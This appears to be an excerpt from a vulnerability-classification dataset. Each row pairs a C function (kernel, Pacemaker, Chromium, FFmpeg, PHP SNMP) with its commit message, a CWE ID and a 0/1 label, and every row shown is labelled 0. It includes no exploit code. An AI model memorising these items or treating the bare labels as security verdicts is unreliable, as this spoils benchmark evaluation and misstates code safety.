return NULL;
#endif
}
reply = create_xml_node(NULL, __FUNCTION__);
if (reply == NULL) {
crm_err("Cannot create new_message, malloc failed");
return NULL;
}
crm_xml_add(reply, F_CRM_ORIGIN, origin);
crm_xml_add(reply, F_TYPE, T_CRM);
crm_xml_add(reply, F_CRM_VERSION, CRM_FEATURE_SET);
crm_xml_add(reply, F_CRM_MSG_TYPE, XML_ATTR_RESPONSE);
crm_xml_add(reply, F_CRM_REFERENCE, crm_msg_reference);
crm_xml_add(reply, F_CRM_TASK, operation);
/* since this is a reply, we reverse the from and to */
crm_xml_add(reply, F_CRM_SYS_TO, sys_from);
crm_xml_add(reply, F_CRM_SYS_FROM, sys_to);
/* HOSTTO will be ignored if it is to the DC anyway. */
if (host_from != NULL && strlen(host_from) > 0) {
crm_xml_add(reply, F_CRM_HOST_TO, host_from);
}
if (xml_response_data != NULL) {
add_message_xml(reply, F_CRM_DATA, xml_response_data);
}
return reply;
}
Commit Message: High: libcrmcommon: fix CVE-2016-7035 (improper IPC guarding)
It was discovered that at some not so uncommon circumstances, some
pacemaker daemons could be talked to, via libqb-facilitated IPC, by
unprivileged clients due to flawed authorization decision. Depending
on the capabilities of affected daemons, this might equip unauthorized
user with local privilege escalation or up to cluster-wide remote
execution of possibly arbitrary commands when such user happens to
reside at standard or remote/guest cluster node, respectively.
The original vulnerability was introduced in an attempt to allow
unprivileged IPC clients to clean up the file system materialized
leftovers in case the server (otherwise responsible for the lifecycle
of these files) crashes. While the intended part of such behavior is
now effectively voided (along with the unintended one), a best-effort
fix to address this corner case systemically at libqb is coming along
(https://github.com/ClusterLabs/libqb/pull/231).
Affected versions: 1.1.10-rc1 (2013-04-17) - 1.1.15 (2016-06-21)
Impact: Important
CVSSv3 ranking: 8.8 : AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Credits for independent findings, in chronological order:
Jan "poki" Pokorný, of Red Hat
Alain Moulle, of ATOS/BULL
CWE ID: CWE-285 | 0 | 86,563 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: build_encrypt_ctxt(struct smb2_encryption_neg_context *pneg_ctxt)
{
pneg_ctxt->ContextType = SMB2_ENCRYPTION_CAPABILITIES;
pneg_ctxt->DataLength = cpu_to_le16(6);
pneg_ctxt->CipherCount = cpu_to_le16(2);
pneg_ctxt->Ciphers[0] = SMB2_ENCRYPTION_AES128_GCM;
pneg_ctxt->Ciphers[1] = SMB2_ENCRYPTION_AES128_CCM;
}
Commit Message: CIFS: Enable encryption during session setup phase
In order to allow encryption on SMB connection we need to exchange
a session key and generate encryption and decryption keys.
Signed-off-by: Pavel Shilovsky <pshilov@microsoft.com>
CWE ID: CWE-476 | 0 | 84,934 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int tun_flags(struct tun_struct *tun)
{
return tun->flags & (TUN_FEATURES | IFF_PERSIST | IFF_TUN | IFF_TAP);
}
Commit Message: tun: call dev_get_valid_name() before register_netdevice()
register_netdevice() could fail early when we have an invalid
dev name, in which case ->ndo_uninit() is not called. For tun
device, this is a problem because a timer etc. are already
initialized and it expects ->ndo_uninit() to clean them up.
We could move these initializations into a ->ndo_init() so
that register_netdevice() knows better, however this is still
complicated due to the logic in tun_detach().
Therefore, I choose to just call dev_get_valid_name() before
register_netdevice(), which is quicker and much easier to audit.
And for this specific case, it is already enough.
Fixes: 96442e42429e ("tuntap: choose the txq based on rxq")
Reported-by: Dmitry Alexeev <avekceeb@gmail.com>
Cc: Jason Wang <jasowang@redhat.com>
Cc: "Michael S. Tsirkin" <mst@redhat.com>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-476 | 0 | 93,280 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void EnableDatatype(syncable::ModelType model_type) {
enabled_datatypes_.Put(model_type);
mock_server_->ExpectGetUpdatesRequestTypes(enabled_datatypes_);
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362 | 0 | 105,092 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void posix_cpu_timer_get(struct k_itimer *timer, struct itimerspec64 *itp)
{
u64 now;
struct task_struct *p = timer->it.cpu.task;
WARN_ON_ONCE(p == NULL);
/*
* Easy part: convert the reload time.
*/
itp->it_interval = ns_to_timespec64(timer->it.cpu.incr);
if (!timer->it.cpu.expires)
return;
/*
* Sample the clock to take the difference with the expiry time.
*/
if (CPUCLOCK_PERTHREAD(timer->it_clock)) {
cpu_clock_sample(timer->it_clock, p, &now);
} else {
struct sighand_struct *sighand;
unsigned long flags;
/*
* Protect against sighand release/switch in exit/exec and
* also make timer sampling safe if it ends up calling
* thread_group_cputime().
*/
sighand = lock_task_sighand(p, &flags);
if (unlikely(sighand == NULL)) {
/*
* The process has been reaped.
* We can't even collect a sample any more.
* Call the timer disarmed, nothing else to do.
*/
timer->it.cpu.expires = 0;
return;
} else {
cpu_timer_sample_group(timer->it_clock, p, &now);
unlock_task_sighand(p, &flags);
}
}
if (now < timer->it.cpu.expires) {
itp->it_value = ns_to_timespec64(timer->it.cpu.expires - now);
} else {
/*
* The timer should have expired already, but the firing
* hasn't taken place yet. Say it's just about to expire.
*/
itp->it_value.tv_nsec = 1;
itp->it_value.tv_sec = 0;
}
}
Commit Message: posix-timers: Sanitize overrun handling
The posix timer overrun handling is broken because the forwarding functions
can return a huge number of overruns which does not fit in an int. As a
consequence timer_getoverrun(2) and siginfo::si_overrun can turn into
random number generators.
The k_clock::timer_forward() callbacks return a 64 bit value now. Make
k_itimer::ti_overrun[_last] 64bit as well, so the kernel internal
accounting is correct. 3Remove the temporary (int) casts.
Add a helper function which clamps the overrun value returned to user space
via timer_getoverrun(2) or siginfo::si_overrun limited to a positive value
between 0 and INT_MAX. INT_MAX is an indicator for user space that the
overrun value has been clamped.
Reported-by: Team OWL337 <icytxw@gmail.com>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: John Stultz <john.stultz@linaro.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Link: https://lkml.kernel.org/r/20180626132705.018623573@linutronix.de
CWE ID: CWE-190 | 0 | 81,116 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: sctp_disposition_t sctp_sf_do_9_2_shut_ctsn(struct net *net,
const struct sctp_endpoint *ep,
const struct sctp_association *asoc,
const sctp_subtype_t type,
void *arg,
sctp_cmd_seq_t *commands)
{
struct sctp_chunk *chunk = arg;
sctp_shutdownhdr_t *sdh;
__u32 ctsn;
if (!sctp_vtag_verify(chunk, asoc))
return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
/* Make sure that the SHUTDOWN chunk has a valid length. */
if (!sctp_chunk_length_valid(chunk,
sizeof(struct sctp_shutdown_chunk_t)))
return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
commands);
sdh = (sctp_shutdownhdr_t *)chunk->skb->data;
ctsn = ntohl(sdh->cum_tsn_ack);
if (TSN_lt(ctsn, asoc->ctsn_ack_point)) {
SCTP_DEBUG_PRINTK("ctsn %x\n", ctsn);
SCTP_DEBUG_PRINTK("ctsn_ack_point %x\n", asoc->ctsn_ack_point);
return SCTP_DISPOSITION_DISCARD;
}
/* If Cumulative TSN Ack beyond the max tsn currently
* send, terminating the association and respond to the
* sender with an ABORT.
*/
if (!TSN_lt(ctsn, asoc->next_tsn))
return sctp_sf_violation_ctsn(net, ep, asoc, type, arg, commands);
/* verify, by checking the Cumulative TSN Ack field of the
* chunk, that all its outstanding DATA chunks have been
* received by the SHUTDOWN sender.
*/
sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_CTSN,
SCTP_BE32(sdh->cum_tsn_ack));
return SCTP_DISPOSITION_CONSUME;
}
Commit Message: sctp: Use correct sideffect command in duplicate cookie handling
When SCTP is done processing a duplicate cookie chunk, it tries
to delete a newly created association. For that, it has to set
the right association for the side-effect processing to work.
However, when it uses the SCTP_CMD_NEW_ASOC command, that performs
more work then really needed (like hashing the associationa and
assigning it an id) and there is no point to do that only to
delete the association as a next step. In fact, it also creates
an impossible condition where an association may be found by
the getsockopt() call, and that association is empty. This
causes a crash in some sctp getsockopts.
The solution is rather simple. We simply use SCTP_CMD_SET_ASOC
command that doesn't have all the overhead and does exactly
what we need.
Reported-by: Karl Heiss <kheiss@gmail.com>
Tested-by: Karl Heiss <kheiss@gmail.com>
CC: Neil Horman <nhorman@tuxdriver.com>
Signed-off-by: Vlad Yasevich <vyasevich@gmail.com>
Acked-by: Neil Horman <nhorman@tuxdriver.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 31,595 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static Bool Ins_SxVTL( EXEC_OPS Int aIdx1,
Int aIdx2,
Int aOpc,
TT_UnitVector* Vec )
{
Long A, B, C;
if ( BOUNDS( aIdx1, CUR.zp2.n_points ) ||
BOUNDS( aIdx2, CUR.zp1.n_points ) )
{
CUR.error = TT_Err_Invalid_Reference;
return FAILURE;
}
A = CUR.zp1.cur_x[aIdx2] - CUR.zp2.cur_x[aIdx1];
B = CUR.zp1.cur_y[aIdx2] - CUR.zp2.cur_y[aIdx1];
if ( (aOpc & 1) != 0 )
{
C = B; /* CounterClockwise rotation */
B = A;
A = -C;
}
if ( NORMalize( A, B, Vec ) == FAILURE )
{
/* When the vector is too small or zero! */
CUR.error = TT_Err_Ok;
Vec->x = 0x4000;
Vec->y = 0;
}
return SUCCESS;
}
Commit Message:
CWE ID: CWE-125 | 0 | 5,472 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int netsnmp_session_gen_auth_key(struct snmp_session *s, char *pass TSRMLS_DC)
{
int snmp_errno;
s->securityAuthKeyLen = USM_AUTH_KU_LEN;
if ((snmp_errno = generate_Ku(s->securityAuthProto, s->securityAuthProtoLen,
(u_char *) pass, strlen(pass),
s->securityAuthKey, &(s->securityAuthKeyLen)))) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error generating a key for authentication pass phrase '%s': %s", pass, snmp_api_errstring(snmp_errno));
return (-1);
}
return (0);
}
Commit Message:
CWE ID: CWE-416 | 0 | 9,543 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void put_pixels_clamped2_c(const int16_t *block, uint8_t *av_restrict pixels,
int line_size)
{
int i;
/* read the pixels */
for(i=0;i<2;i++) {
pixels[0] = av_clip_uint8(block[0]);
pixels[1] = av_clip_uint8(block[1]);
pixels += line_size;
block += 8;
}
}
Commit Message: avcodec/dsputil: fix signedness in sizeof() comparissions
Signed-off-by: Michael Niedermayer <michaelni@gmx.at>
CWE ID: CWE-189 | 0 | 28,164 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.